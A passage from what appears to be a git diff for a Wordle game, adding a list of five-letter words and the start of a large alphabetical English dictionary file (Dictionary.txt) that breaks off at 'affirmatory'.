+villa +ville +villi +vills +vinal +vinas +vinca +vinci +vined +viner +vines +vingt +vinho +vinos +vints +vinyl +viola +viols +viper +viral +vired +vireo +vires +virga +virge +virgo +virid +virls +virtu +virus +visas +vised +vises +visie +visit +visne +vison +visor +vista +visto +vitae +vital +vitas +vitis +vitro +vitta +vitus +vivas +vivat +vivda +viver +vives +vivid +vivos +vivre +vivum +vixen +vizir +vizor +vlach +vlast +vleis +voars +vocab +vocal +voces +vodka +vogie +vogue +vogul +voice +voids +voila +voile +volae +volar +volas +voled +voles +volet +volga +volta +volte +volts +volva +volvo +vomer +vomit +voted +voter +votes +votre +vouch +vouge +voulu +vowed +vowel +vower +vraic +vroom +vrouw +vrows +vuggy +vulgo +vulns +vulva +vulvo +vying +waafs +waals +wacke +wacko +wacks +wacky +waddy +waded +wader +wades +wadis +waefu +wafer +waffs +wafts +waged +wager +wages +wagga +wagon +wahoo +waifs +wails +wains +waist +waite +waits +waive +wakas +waked +waken +waker +wakes +wakey +waldo +waled +waler +wales +walis +walks +walky +walla +walls +wally +walsh +walsy +waltz +wamed +wames +wamus +wands +waned +wanes +waney +wanks +wanle +wanly +wanna +wants +wanty +wanze +wards +wared +wares +warks +warld +warms +warns +warps +warst +warts +warty +wases +washy +wasms +wasps +waspy +waste +watap +watch +water +watts +waugh +wauks +waulk +wauls +waved +waver +waves +wavey +wawls +waxed +waxen +waxer +waxes +wayne +wazir +we'll +we're +we've +weald +weals +weans +wears +weary +weave +webby +weber +wecht +wedge +wedgy +weeds +weedy +weeks +weels +weems +weens +weeny +weeps +weepy +weest +wefte +wefts +weigh +weill +weils +weird +weirs +wekas +welch +welds +welks +wells +welly +welsh +welts +wench +wends +wendy +wenny +wersh +weser +wests +wetas +wetly +whack +whale +whams +whang +whaps +whare +wharf +whats +whaup +whaur +wheal +wheat +wheel +wheen +whees +wheft +whelk +whelm +whelp +whens +where +whets +whews +wheys +which +whids +whiff +whift +whigs +while +whilk +whims +whine +whins +whiny +whips +whipt +whirl +whirr +whirs +whish +whisk +whist +white +whits +whity +whizz +whoas +whole +whoop +whoos +whops +whore +whorl +whort +whose +whoso +wicca +wicks +wicky +widdy +widen +wider +wides +widor +widow +width +wield +wifie +wigan +wight +wilco +wilde +wilds +wiled +wiles +wilga +wills +willy +wilma +wilts +wimps +wimpy +wince +winch +winds +windy +wined +wines +winey +winge +wings +wingy +winks +winna +winos +winze +wiped +wiper +wipes +wired +wirer +wires +wised +wiser +wises +wishy +wisps +wispy +witan +witch +wited +wites +withe +withs +withy +witty +wived +wives +wizen +woads +woden +wodge +woful +wogan +woken +wolds +wolfe +wolff +wolfs +wolly +wolof +wolve +woman +wombs +womby +women +won't +wonga +wongi +wonky +wonts +woods +woody +wooed +wooer +woofs +woofy +woold +woolf +wools +wooly +woosh +wootz +woozy +words +wordy +works +world +worms +wormy +worry +worse +worst +worte +worth +worts +wotan +would +wound +woven +wowed +wrack +wraps +wrapt +wrath +wrawl +wreak +wreck +wrens +wrest +wrick +wried +wrier +wries +wring +wrist +write +writs +wroke +wrong +wroot +wrote +wroth +wrung +wryer +wryly +wuhan +wulls +wurst +wuzzy +wyatt +wylie +wyman +wynds +wynns +wyted +wytes +xebec +xenia +xenon +xeres +xeric +xerox +xhosa +xians +xoana +xrays +xviii +xxiii +xxvii +xylem +xylic +xylol +xylyl +xyris +xysti +xysts +yabby +yacca +yacht +yacks +yaffs +yager +yahoo +yakka +yakow +yakut +yales +yalta +yamen +yangs +yanks +yapok +yapon +yapps +yappy +yaqui +yards +yarer +yarns +yarrs +yauds +yauld +yawed +yawls +yawns +yawny +yawps +yclad +ydrad +ydred +yeahs +yealm +yeans +yeard +yearn +years +yeast +yeats +yelks +yells +yelms +yelps +yelts +yemen +yenta +yerba +yerds +yerks +yeses +yesty +yetis +yetts +yeuks +yeven +yexed +yexes +yezdi +yfere +yield +yikes +yills +yince +yirds +yirks +yites +ylang +ylkes +yobbo +yocks +yodel +yodle +yogic +yogin +yogis +yoick +yoing +yojan +yoked +yokel +yokes +yolks +yolky +yomps +yonis +yonks +yonne +yoops +yores +yorks +you'd +youks +young +yourn +yours +yourt +youth +yowes +yowie +yowls +yoyos +ypres +yrapt +yrent +yrivd +yttro +yucas +yucca +yucks +yucky +yugas +yuked +yukes +yukky +yukon +yukos +yulan +yules +yummy +yupik +yupon +yuppy +yurts +zabra +zaire +zakat +zaman +zambo +zamia +zante +zanze +zappa +zappy +zarfs +zatis +zaxes +zeals +zebec +zebra +zebub +zebus +zeiss +zeist +zenda +zener +zerda +zeros +zests +zesty +zetas +zibet +ziffs +zigan +zilas +zilch +zimbi +zimbs +zinco +zincs +zincy +zineb +zines +zings +zingy +zinke +zinky +zippo +zippy +zizel +zloty +zobos +zocco +zoeae +zoeal +zoeas +zohar +zoism +zoist +zombi +zonae +zonal +zonda +zoned +zones +zonks +zooid +zooks +zooms +zoons +zoppo +zoril +zorro +zowie +zulus +zunis +zygal +zygon +zymes +zymic diff --git a/Wordle/Dictionary.txt b/Wordle/Dictionary.txt new file mode 100644 index 00000000000..134a732e03f --- /dev/null +++ b/Wordle/Dictionary.txt @@ -0,0 +1,194433 @@ +a +aa +aaa +aachen +aardvark +aardvarks +aardwolf +aardwolves +aarhus +aaron +aaronic +aaronical +aasvogel +aasvogels +ab +aba +ababa +abac +abaca +abacas +abaci +aback +abacs +abactinal +abactinally +abactor +abactors +abacus +abacuses +abadan +abaddon +abaft +abalone +abalones +abampere +abamperes +aband +abandon +abandoned +abandonedly +abandonee +abandonees +abandoning +abandonment +abandonments +abandons +abas +abase +abased +abasement +abasements +abases +abash +abashed +abashedly +abashes +abashing +abashless +abashment +abashments +abasin +abasing +abask +abat +abatable +abate +abated +abatement +abatements +abates +abating +abatis +abator +abators +abattis +abattises +abattoir +abattoirs +abature +abatures +abaxial +abaya +abayas +abb +abba +abbacies +abbacy +abbado +abbas +abbasid +abbasids +abbatial +abbe +abbes +abbess +abbesses +abbey +abbeys +abbot +abbots +abbotsbury +abbotship +abbotships +abbott +abbreviate +abbreviated +abbreviates +abbreviating +abbreviation +abbreviations +abbreviator +abbreviators +abbreviatory +abbreviature +abbs +abc +abderian +abderite +abdicable +abdicant +abdicants +abdicate +abdicated +abdicates +abdicating +abdication +abdications +abdicator +abdicators +abdomen +abdomenal +abdomens +abdominal +abdominally +abdominals +abdominous +abduce +abduced +abducent +abduces +abducing +abduct +abducted +abductee +abductees +abducting +abduction +abductions +abductor +abductors +abducts +abdullah +abe +abeam +abear +abearances +abearing +abears +abecedarian +abecedarians +abed +abednego +abeds +abeigh +abel +abelard +abele +abeles +abelia +aberaeron +aberavon +aberdare +aberdaron +aberdeen +aberdeenshire +aberdevine +aberdevines +aberdonian +aberdonians +aberdovey +aberfeldy +abergele +abernethy +aberrance +aberrances +aberrancies +aberrancy +aberrant +aberrate +aberrated +aberrates +aberrating +aberration +aberrational +aberrations +abersoch +abertilly +aberystwyth +abessive +abet +abetment +abetments +abets +abettal +abettals +abetted +abetter +abetters +abetting +abettor +abettors +abeyance +abeyances +abeyancies +abeyancy +abeyant +abhominable +abhor +abhorred +abhorrence +abhorrences +abhorrency +abhorrent +abhorrently +abhorrer +abhorrers +abhorring +abhors +abib +abidance +abidances +abidden +abide +abided +abides +abiding +abidingly +abidings +abidjan +abies +abieses +abigail +abigails +abilities +ability +abingdon +abiogenesis +abiogenetic +abiogenetically +abiogenist +abiogenists +abioses +abiosis +abiotic +abject +abjected +abjecting +abjection +abjections +abjectly +abjectness +abjects +abjoint +abjointed +abjointing +abjoints +abjunction +abjunctions +abjuration +abjurations +abjure +abjured +abjurer +abjurers +abjures +abjuring +ablactation +ablate +ablated +ablates +ablating +ablation +ablations +ablatitious +ablatival +ablative +ablatives +ablator +ablators +ablaut +ablauts +ablaze +able +abler +ablest +ablet +ablets +ablins +abloom +ablow +ablush +ablution +ablutionary +ablutions +ablutomane +ablutomanes +ably +abnegate +abnegated +abnegates +abnegating +abnegation +abnegations +abnegator +abnegators +abnormal +abnormalism +abnormalities +abnormality +abnormally +abnormities +abnormity +abnormous +abo +aboard +abode +abodement +abodes +aboideau +aboideaus +aboideaux +aboil +aboiteau +aboiteaus +aboiteaux +abolish +abolishable +abolished +abolisher +abolishers +abolishes +abolishing +abolishment +abolishments +abolition +abolitionary +abolitionism +abolitionist +abolitionists +abolitions +abolla +abollae +abollas +abomasa +abomasal +abomasum +abomasus +abomasuses +abominable +abominableness +abominably +abominate +abominated +abominates +abominating +abomination +abominations +abominator +abominators +abondance +abondances +aboral +abord +aborded +abording +abords +abore +aboriginal +aboriginality +aboriginally +aboriginals +aborigine +aborigines +aborne +aborning +abort +aborted +aborticide +aborticides +abortifacient +abortifacients +aborting +abortion +abortional +abortionist +abortionists +abortions +abortive +abortively +abortiveness +aborts +abos +abought +aboulia +abound +abounded +abounding +abounds +about +abouts +above +aboveground +abracadabra +abracadabras +abradant +abradants +abrade +abraded +abrader +abraders +abrades +abrading +abraham +abraid +abraided +abraiding +abraids +abram +abranchial +abranchiate +abrasion +abrasions +abrasive +abrasively +abrasiveness +abrasives +abraxas +abraxases +abray +abrazo +abrazos +abreact +abreacted +abreacting +abreaction +abreactions +abreacts +abreast +abrege +abricock +abridge +abridgeable +abridged +abridgement +abridgements +abridger +abridgers +abridges +abridging +abridgment +abridgments +abrim +abrin +abroach +abroad +abrogate +abrogated +abrogates +abrogating +abrogation +abrogations +abrogative +abrogator +abrogators +abroma +abrupt +abrupter +abruptest +abruption +abruptions +abruptly +abruptness +abrus +absalom +abscess +abscessed +abscesses +abscind +abscinded +abscinding +abscinds +abscise +abscised +abscises +abscisin +abscising +abscisins +absciss +abscissa +abscissae +abscissas +abscisse +abscisses +abscissin +abscissins +abscission +abscissions +abscond +absconded +abscondence +abscondences +absconder +absconders +absconding +absconds +abseil +abseiled +abseiler +abseilers +abseiling +abseilings +abseils +absence +absences +absent +absente +absented +absentee +absenteeism +absentees +absentia +absenting +absently +absentminded +absentmindedly +absents +absey +absinth +absinthe +absinthes +absinthism +absinths +absit +absolute +absolutely +absoluteness +absolutes +absolution +absolutions +absolutism +absolutist +absolutists +absolutory +absolve +absolved +absolver +absolvers +absolves +absolving +absolvitor +absolvitors +absonant +absorb +absorbability +absorbable +absorbed +absorbedly +absorbefacient +absorbefacients +absorbencies +absorbency +absorbent +absorbents +absorber +absorbers +absorbing +absorbingly +absorbs +absorptiometer +absorptiometers +absorption +absorptions +absorptive +absorptiveness +absorptivity +absquatulate +absquatulated +absquatulates +absquatulating +abstain +abstained +abstainer +abstainers +abstaining +abstains +abstemious +abstemiously +abstemiousness +abstention +abstentionism +abstentionist +abstentionists +abstentions +abstentious +absterge +absterged +abstergent +abstergents +absterges +absterging +abstersion +abstersions +abstersive +abstinence +abstinences +abstinency +abstinent +abstinently +abstract +abstracted +abstractedly +abstractedness +abstracter +abstracters +abstractest +abstracting +abstraction +abstractional +abstractionism +abstractionist +abstractionists +abstractions +abstractive +abstractively +abstractly +abstractness +abstractor +abstractors +abstracts +abstrict +abstricted +abstricting +abstriction +abstrictions +abstricts +abstruse +abstrusely +abstruseness +abstruser +abstrusest +absurd +absurder +absurdest +absurdism +absurdist +absurdists +absurdities +absurdity +absurdly +absurdness +absurdnesses +absurdum +abu +abulia +abuna +abunas +abundance +abundances +abundancies +abundancy +abundant +abundantly +abune +aburst +abusable +abusage +abusages +abuse +abused +abuser +abusers +abuses +abusing +abusion +abusions +abusive +abusively +abusiveness +abut +abutilon +abutilons +abutment +abutments +abuts +abuttal +abuttals +abutted +abutter +abutters +abutting +abuzz +abvolt +abvolts +aby +abydos +abye +abyeing +abyes +abying +abysm +abysmal +abysmally +abysms +abyss +abyssal +abysses +abyssinia +abyssinian +abyssinians +abyssopelagic +acacia +acacias +academe +academes +academia +academic +academical +academically +academicals +academician +academicians +academicism +academics +academies +academism +academist +academists +academy +acadian +acajou +acajous +acaleph +acalepha +acalephae +acalephan +acalephans +acalephas +acalephe +acalephes +acalephs +acanaceous +acanth +acantha +acanthaceae +acanthaceous +acanthas +acanthin +acanthine +acanthocephala +acanthocephalan +acanthoid +acanthopterygian +acanthous +acanths +acanthus +acanthuses +acapnia +acapulco +acari +acarian +acariasis +acaricide +acaricides +acarid +acarida +acaridan +acaridans +acaridean +acarideans +acaridomatia +acaridomatium +acarids +acarina +acarine +acaroid +acarologist +acarologists +acarology +acarpellous +acarpelous +acarpous +acarus +acatalectic +acatalectics +acatalepsy +acataleptic +acataleptics +acatamathesia +acater +acaters +acates +acatour +acatours +acaudal +acaudate +acaulescent +acauline +acaulose +accable +accadian +accede +acceded +accedence +accedences +acceder +acceders +accedes +acceding +accelerando +accelerandos +accelerant +accelerants +accelerate +accelerated +accelerates +accelerating +acceleration +accelerations +accelerative +accelerator +accelerators +acceleratory +accelerometer +accelerometers +accend +accension +accensions +accent +accented +accenting +accentor +accentors +accents +accentual +accentuality +accentually +accentuate +accentuated +accentuates +accentuating +accentuation +accentuations +accept +acceptabilities +acceptability +acceptable +acceptableness +acceptably +acceptance +acceptances +acceptancy +acceptant +acceptants +acceptation +acceptations +accepted +acceptedly +accepter +accepters +acceptilation +acceptilations +accepting +acceptive +acceptor +acceptors +accepts +access +accessaries +accessary +accessed +accesses +accessibilities +accessibility +accessible +accessibly +accessing +accession +accessions +accessit +accessits +accessorial +accessories +accessorily +accessorise +accessorised +accessorises +accessorising +accessorize +accessorized +accessorizes +accessorizing +accessory +acciaccatura +acciaccaturas +accidence +accident +accidental +accidentalism +accidentality +accidentally +accidentals +accidented +accidents +accidie +accinge +accinged +accinges +accinging +accipiter +accipiters +accipitrine +accite +accited +accites +acciting +acclaim +acclaimed +acclaiming +acclaims +acclamation +acclamations +acclamatory +acclimatation +acclimate +acclimated +acclimates +acclimating +acclimation +acclimations +acclimatisable +acclimatisation +acclimatisations +acclimatise +acclimatised +acclimatiser +acclimatisers +acclimatises +acclimatising +acclimatizable +acclimatization +acclimatizations +acclimatize +acclimatized +acclimatizer +acclimatizers +acclimatizes +acclimatizing +acclivities +acclivitous +acclivity +acclivous +accloy +accoast +accoasted +accoasting +accoasts +accoil +accoils +accolade +accolades +accommodable +accommodate +accommodated +accommodates +accommodating +accommodatingly +accommodation +accommodations +accommodative +accommodativeness +accommodator +accommodators +accompanied +accompanier +accompaniers +accompanies +accompaniment +accompaniments +accompanist +accompanists +accompany +accompanying +accompanyist +accompanyists +accompli +accomplice +accomplices +accomplis +accomplish +accomplishable +accomplished +accomplisher +accomplishers +accomplishes +accomplishing +accomplishment +accomplishments +accompt +accomptable +accomptant +accompted +accompting +accompts +accorage +accord +accordable +accordance +accordances +accordancies +accordancy +accordant +accordantly +accorded +accorder +accorders +according +accordingly +accordion +accordionist +accordionists +accordions +accords +accost +accostable +accosted +accosting +accosts +accouchement +accouchements +accoucheur +accoucheurs +accoucheuse +accoucheuses +account +accountabilities +accountability +accountable +accountableness +accountably +accountancies +accountancy +accountant +accountants +accountantship +accounted +accounting +accountings +accounts +accourage +accourt +accourted +accourting +accourts +accoustrement +accoustrements +accouter +accoutered +accoutering +accouterment +accouterments +accouters +accoutre +accoutred +accoutrement +accoutrements +accoutres +accoutring +accoy +accra +accredit +accreditate +accreditation +accreditations +accredited +accrediting +accredits +accrescence +accrescences +accrescent +accrete +accreted +accretes +accreting +accretion +accretions +accretive +accrington +accrual +accruals +accrue +accrued +accrues +accruing +accubation +accubations +accultural +acculturate +acculturated +acculturates +acculturating +acculturation +accumbency +accumbent +accumulate +accumulated +accumulates +accumulating +accumulation +accumulations +accumulative +accumulatively +accumulativeness +accumulator +accumulators +accuracies +accuracy +accurate +accurately +accurateness +accurse +accursed +accursedly +accursedness +accurses +accursing +accurst +accusable +accusal +accusals +accusation +accusations +accusatival +accusative +accusatively +accusatives +accusatorial +accusatory +accuse +accused +accuser +accusers +accuses +accusing +accusingly +accustom +accustomary +accustomed +accustomedness +accustoming +accustoms +accustrement +accustrements +ace +aced +acedia +acellular +acephalous +acer +aceraceae +aceraceous +acerate +acerb +acerbate +acerbated +acerbates +acerbating +acerbic +acerbities +acerbity +acerose +acerous +acers +acervate +acervately +acervation +acervations +aces +acescence +acescency +acescent +acesulfame +acetabula +acetabular +acetabulum +acetal +acetaldehyde +acetals +acetamide +acetate +acetates +acetic +acetification +acetified +acetifies +acetify +acetifying +acetone +acetones +acetose +acetous +acetyl +acetylcholine +acetylene +acetylsalicylic +achaea +achaean +achaeans +achaenocarp +achaenocarps +achage +achages +achaia +achaian +achaians +acharne +achates +ache +ached +achene +achenes +achenial +achenium +acheniums +achernar +acheron +acherontic +aches +acheson +acheulean +acheulian +achier +achiest +achievable +achieve +achieved +achievement +achievements +achiever +achievers +achieves +achieving +achillea +achillean +achilleas +achilles +achimenes +aching +achingly +achings +achitophel +achkan +achkans +achlamydeous +achnasheen +achondroplasia +achondroplastic +achromat +achromatic +achromatically +achromaticity +achromatin +achromatins +achromatisation +achromatise +achromatised +achromatises +achromatising +achromatism +achromatization +achromatize +achromatized +achromatizes +achromatizing +achromatopsia +achromatous +achromats +achy +acicular +aciculate +aciculated +acid +acidanthera +acidhead +acidheads +acidic +acidifiable +acidification +acidified +acidifier +acidifiers +acidifies +acidify +acidifying +acidimeter +acidimeters +acidimetry +acidity +acidly +acidness +acidosis +acids +acidulate +acidulated +acidulates +acidulating +acidulent +acidulous +acierage +acierate +acierated +acierates +acierating +acieration +aciform +acinaceous +acinaciform +acing +acini +aciniform +acinose +acinous +acinus +acis +ack +ackee +ackees +acknow +acknowledge +acknowledgeable +acknowledgeably +acknowledged +acknowledgement +acknowledgements +acknowledges +acknowledging +acknowledgment +acknowledgments +aclinic +acme +acmes +acmite +acmites +acne +acock +acoemeti +acold +acoluthic +acolyte +acolytes +aconite +aconites +aconitic +aconitine +aconitum +aconitums +acorn +acorned +acorns +acorus +acosmism +acosmist +acosmists +acotyledon +acotyledonous +acotyledons +acouchi +acouchies +acouchy +acoustic +acoustical +acoustically +acoustician +acousticians +acoustics +acquaint +acquaintance +acquaintances +acquaintanceship +acquaintanceships +acquainted +acquainting +acquaints +acquest +acquests +acquiesce +acquiesced +acquiescence +acquiescences +acquiescent +acquiescently +acquiesces +acquiescing +acquiescingly +acquight +acquighted +acquighting +acquights +acquirability +acquirable +acquire +acquired +acquirement +acquirements +acquires +acquiring +acquisition +acquisitions +acquisitive +acquisitively +acquisitiveness +acquist +acquit +acquite +acquited +acquites +acquiting +acquitment +acquits +acquittal +acquittals +acquittance +acquittances +acquitted +acquitting +acrawl +acre +acreage +acreages +acred +acres +acrid +acridine +acridity +acriflavin +acriflavine +acrilan +acrimonies +acrimonious +acrimoniously +acrimoniousness +acrimony +acroamatic +acroamatical +acrobacy +acrobat +acrobatic +acrobatically +acrobatics +acrobatism +acrobats +acrocentric +acrocentrics +acrogen +acrogenic +acrogenous +acrogenously +acrogens +acrolein +acrolith +acrolithic +acroliths +acromegalic +acromegaly +acromia +acromial +acromion +acronical +acronycal +acronychal +acronym +acronymic +acronymous +acronyms +acropetal +acropetally +acrophobia +acrophonetic +acrophonic +acrophony +acropolis +acropolises +acrosome +acrosomes +acrospire +acrospires +across +acrostic +acrostically +acrostics +acroter +acroteria +acroterial +acroterion +acroterium +acroteriums +acroters +acrotism +acryl +acrylate +acrylic +acrylics +acrylonitrile +act +acta +actability +actable +actaeon +acte +acted +acter +actin +actinal +actinally +acting +actings +actinia +actiniae +actinian +actinians +actinias +actinic +actinically +actinide +actinides +actinism +actinium +actinobacilli +actinobacillosis +actinobacillus +actinoid +actinoids +actinolite +actinometer +actinometers +actinomorphic +actinomyces +actinomycosis +actinon +actinotherapy +actinozoa +action +actionable +actionably +actioned +actioning +actions +actium +activate +activated +activates +activating +activation +activations +activator +activators +active +actively +activeness +activex +activism +activist +activists +activities +activity +acton +actons +actor +actors +actress +actresses +actressy +acts +actual +actualisation +actualisations +actualise +actualised +actualises +actualising +actualist +actualists +actualities +actuality +actualization +actualizations +actualize +actualized +actualizes +actualizing +actually +actuals +actuarial +actuarially +actuaries +actuary +actuate +actuated +actuates +actuating +actuation +actuations +actuator +actuators +acture +actus +acuity +aculeate +aculeated +aculeus +acumen +acumens +acuminate +acuminated +acuminates +acuminating +acumination +acuminous +acupoint +acupoints +acupressure +acupuncture +acupuncturist +acupuncturists +acushla +acushlas +acute +acutely +acuteness +acutenesses +acuter +acutest +acyclic +acyclovir +acyl +ad +ada +adactylous +adage +adages +adagio +adagios +adam +adamant +adamantean +adamantine +adamantly +adamants +adamic +adamical +adamite +adamitic +adamitical +adamitism +adams +adamson +adamstown +adansonia +adapt +adaptability +adaptable +adaptableness +adaptably +adaptation +adaptations +adaptative +adapted +adapter +adapters +adapting +adaption +adaptions +adaptive +adaptively +adaptiveness +adaptor +adaptors +adapts +adar +adaw +adaxial +adays +add +addax +addaxes +addebted +added +addeem +addend +addenda +addends +addendum +adder +adders +adderstone +adderstones +adderwort +adderworts +addict +addicted +addictedness +addicting +addiction +addictions +addictive +addicts +addie +adding +addio +addios +addis +addison +additament +additaments +addition +additional +additionally +additions +addititious +additive +additively +additives +addle +addled +addlement +addles +addling +addoom +addorsed +address +addressability +addressable +addressed +addressee +addressees +addresser +addressers +addresses +addressing +addressograph +addressographs +addressor +addressors +addrest +adds +adduce +adduced +adducent +adducer +adducers +adduces +adducible +adducing +adduct +adducted +adducting +adduction +adductions +adductive +adductor +adductors +adducts +addy +adeem +adeemed +adeeming +adeems +adela +adelaide +adelantado +adelantados +adele +ademption +ademptions +aden +adenauer +adenectomies +adenectomy +adenine +adenitis +adenocarcinoma +adenocarcinomas +adenocarcinomata +adenohypophyses +adenohypophysis +adenoid +adenoidal +adenoidectomies +adenoidectomy +adenoids +adenoma +adenomas +adenomata +adenomatous +adenosine +adenovirus +adept +adeptly +adeptness +adepts +adequacies +adequacy +adequate +adequately +adequateness +adequative +adermin +adessive +adeste +adha +adharma +adhere +adhered +adherence +adherences +adherent +adherents +adherer +adherers +adheres +adhering +adhesion +adhesions +adhesive +adhesively +adhesiveness +adhesives +adhibit +adhibited +adhibiting +adhibition +adhibitions +adhibits +adiabatic +adiabatically +adiantum +adiaphora +adiaphorism +adiaphorist +adiaphoristic +adiaphorists +adiaphoron +adiaphorous +adiathermancy +adiathermanous +adiathermic +adieu +adieus +adieux +adige +adigranth +adios +adipic +adipocere +adipose +adiposity +adit +adits +adjacency +adjacent +adjacently +adject +adjectival +adjectivally +adjective +adjectively +adjectives +adjoin +adjoined +adjoining +adjoins +adjoint +adjourn +adjourned +adjourning +adjournment +adjournments +adjourns +adjudge +adjudged +adjudges +adjudging +adjudgment +adjudgments +adjudicate +adjudicated +adjudicates +adjudicating +adjudication +adjudications +adjudicative +adjudicator +adjudicators +adjunct +adjunction +adjunctions +adjunctive +adjunctively +adjunctly +adjuncts +adjuration +adjurations +adjuratory +adjure +adjured +adjures +adjuring +adjust +adjustable +adjustably +adjusted +adjuster +adjusters +adjusting +adjustment +adjustments +adjustor +adjustors +adjusts +adjutage +adjutages +adjutancies +adjutancy +adjutant +adjutants +adjuvant +adjuvants +adland +adler +adman +admass +admasses +admeasure +admeasured +admeasurement +admeasurements +admeasures +admeasuring +admin +adminicle +adminicles +adminicular +adminiculate +adminiculated +adminiculates +adminiculating +administer +administered +administering +administers +administrable +administrant +administrants +administrate +administrated +administrates +administrating +administration +administrations +administrative +administratively +administrator +administrators +administratorship +administratrix +administratrixes +admins +admirable +admirableness +admirably +admiral +admirals +admiralship +admiralships +admiralties +admiralty +admiration +admirative +admire +admired +admirer +admirers +admires +admiring +admiringly +admissibilities +admissibility +admissible +admissibleness +admissibly +admission +admissions +admissive +admit +admits +admittable +admittance +admittances +admitted +admittedly +admitting +admix +admixed +admixes +admixing +admixture +admixtures +admonish +admonished +admonishes +admonishing +admonishment +admonishments +admonition +admonitions +admonitive +admonitor +admonitors +admonitory +adnascent +adnate +adnation +adnominal +adnoun +adnouns +ado +adobe +adobes +adolescence +adolescences +adolescent +adolescents +adolf +adon +adonai +adonia +adonic +adonis +adonise +adonised +adonises +adonising +adonize +adonized +adonizes +adonizing +adoors +adopt +adopted +adoptee +adoptees +adopter +adopters +adoptianism +adoptianist +adoptianists +adopting +adoption +adoptionism +adoptionist +adoptionists +adoptions +adoptious +adoptive +adopts +adorable +adorableness +adorably +adoration +adorations +adore +adored +adorer +adorers +adores +adoring +adoringly +adorn +adorned +adorning +adornment +adornments +adorns +ados +adown +adpress +adpressed +adpresses +adpressing +adrad +adread +adred +adrenal +adrenalin +adrenaline +adrenals +adrenergic +adrenocorticotrophic +adrenocorticotrophin +adrenocorticotropic +adriamycin +adrian +adriatic +adrienne +adrift +adroit +adroiter +adroitest +adroitly +adroitness +adry +ads +adscititious +adscititiously +adscript +adscription +adscriptions +adscripts +adsorb +adsorbable +adsorbate +adsorbates +adsorbed +adsorbent +adsorbents +adsorbing +adsorbs +adsorption +adsorptions +adsorptive +adsuki +adsum +adularia +adulate +adulated +adulates +adulating +adulation +adulations +adulator +adulators +adulatory +adullamite +adult +adulterant +adulterants +adulterate +adulterated +adulterates +adulterating +adulteration +adulterations +adulterator +adulterators +adulterer +adultereress +adultereresses +adulterers +adulteress +adulteresses +adulteries +adulterine +adulterines +adulterise +adulterised +adulterises +adulterising +adulterize +adulterized +adulterizes +adulterizing +adulterous +adulterously +adultery +adulthood +adults +adumbrate +adumbrated +adumbrates +adumbrating +adumbration +adumbrations +adumbrative +adumbratively +adunc +aduncate +aduncated +aduncity +aduncous +adust +advance +advanced +advancement +advancements +advances +advancing +advantage +advantaged +advantageous +advantageously +advantageousness +advantages +advantaging +advection +advections +advene +advened +advenes +advening +advent +adventist +adventists +adventitious +adventitiously +adventive +adventives +advents +adventure +adventured +adventurer +adventurers +adventures +adventuresome +adventuress +adventuresses +adventuring +adventurism +adventurist +adventuristic +adventurists +adventurous +adventurously +adventurousness +adverb +adverbial +adverbialise +adverbialised +adverbialises +adverbialising +adverbialize +adverbialized +adverbializes +adverbializing +adverbially +adverbs +adversaria +adversarial +adversaries +adversary +adversative +adverse +adversely +adverseness +adverser +adversest +adversities +adversity +advert +adverted +advertence +advertency +advertent +advertently +adverting +advertise +advertised +advertisement +advertisements +advertiser +advertisers +advertises +advertising +advertize +advertized +advertizement +advertizements +advertizer +advertizes +advertizing +advertorial +adverts +advew +advice +adviceful +advices +advisability +advisable +advisableness +advisably +advisatory +advise +advised +advisedly +advisedness +advisee +advisement +advisements +adviser +advisers +advisership +advises +advising +advisor +advisors +advisory +advocaat +advocaats +advocacies +advocacy +advocate +advocated +advocates +advocating +advocation +advocations +advocator +advocatory +advocatus +advowson +advowsons +adward +adynamia +adynamic +adyta +adytum +adz +adze +adzes +adzuki +ae +aecia +aecidia +aecidiospore +aecidiospores +aecidium +aeciospore +aeciospores +aecium +aedes +aedile +aediles +aedileship +aedileships +aefald +aefauld +aegean +aegirine +aegirite +aegis +aegises +aegisthus +aeglogue +aeglogues +aegrotat +aegrotats +aeneas +aeneid +aeneolithic +aeneous +aeolian +aeolic +aeolipile +aeolipiles +aeolipyle +aeolipyles +aeolotropic +aeolotropy +aeon +aeonian +aeons +aepyornis +aequo +aerate +aerated +aerates +aerating +aeration +aerations +aerator +aerators +aerenchyma +aerenchymas +aerial +aerialist +aerialists +aeriality +aerially +aerials +aerie +aerier +aeries +aeriest +aeriform +aero +aerobatic +aerobatically +aerobatics +aerobe +aerobes +aerobic +aerobically +aerobics +aerobiological +aerobiologically +aerobiologist +aerobiologists +aerobiology +aerobiont +aerobionts +aerobiosis +aerobiotic +aerobiotically +aerobraking +aerobus +aerobuses +aerodrome +aerodromes +aerodynamic +aerodynamical +aerodynamically +aerodynamicist +aerodynamicists +aerodynamics +aerodyne +aerodynes +aeroembolism +aerofoil +aerofoils +aerogram +aerogramme +aerogrammes +aerograms +aerograph +aerographs +aerography +aerohydroplane +aerohydroplanes +aerolite +aerolites +aerolith +aerolithology +aeroliths +aerolitic +aerological +aerologist +aerologists +aerology +aeromancy +aerometer +aerometers +aerometric +aerometry +aeromotor +aeromotors +aeronaut +aeronautic +aeronautical +aeronautically +aeronautics +aeronauts +aeroneurosis +aeronomist +aeronomists +aeronomy +aerophobia +aerophobic +aerophone +aerophones +aerophyte +aerophytes +aeroplane +aeroplanes +aerosiderite +aerosol +aerosols +aerospace +aerostat +aerostatic +aerostatical +aerostatics +aerostation +aerostats +aerotactic +aerotaxis +aerotrain +aerotrains +aerotropic +aerotropism +aeruginous +aery +aesc +aesces +aeschylus +aesculapian +aesculin +aesculus +aesir +aesop +aesthesia +aesthesis +aesthete +aesthetes +aesthetic +aesthetical +aesthetically +aesthetician +aestheticians +aestheticise +aestheticised +aestheticises +aestheticising +aestheticism +aestheticist +aestheticists +aestheticize +aestheticized +aestheticizes +aestheticizing +aesthetics +aestival +aestivate +aestivated +aestivates +aestivating +aestivation +aestivations +aeternitatis +aether +aethiopian +aethrioscope +aethrioscopes +aetiology +afar +afara +afaras +afear +afeard +afeared +afearing +afears +affability +affable +affabler +affablest +affably +affair +affaire +affaires +affairs +affear +affeard +affeare +affeared +affearing +affears +affect +affectation +affectations +affected +affectedly +affectedness +affecter +affecters +affecting +affectingly +affection +affectional +affectionate +affectionately +affectionateness +affectioned +affectioning +affections +affective +affectively +affectivities +affectivity +affectless +affectlessness +affects +affeer +affeered +affeering +affeerment +affeers +affenpinscher +affenpinschers +afferent +affettuoso +affettuosos +affiance +affianced +affiances +affiancing +affiche +affiches +afficionado +afficionados +affidavit +affidavits +affied +affiliable +affiliate +affiliated +affiliates +affiliating +affiliation +affiliations +affine +affined +affines +affinities +affinitive +affinity +affirm +affirmable +affirmance +affirmances +affirmant +affirmants +affirmation +affirmations +affirmative +affirmatively +affirmatives +affirmatory 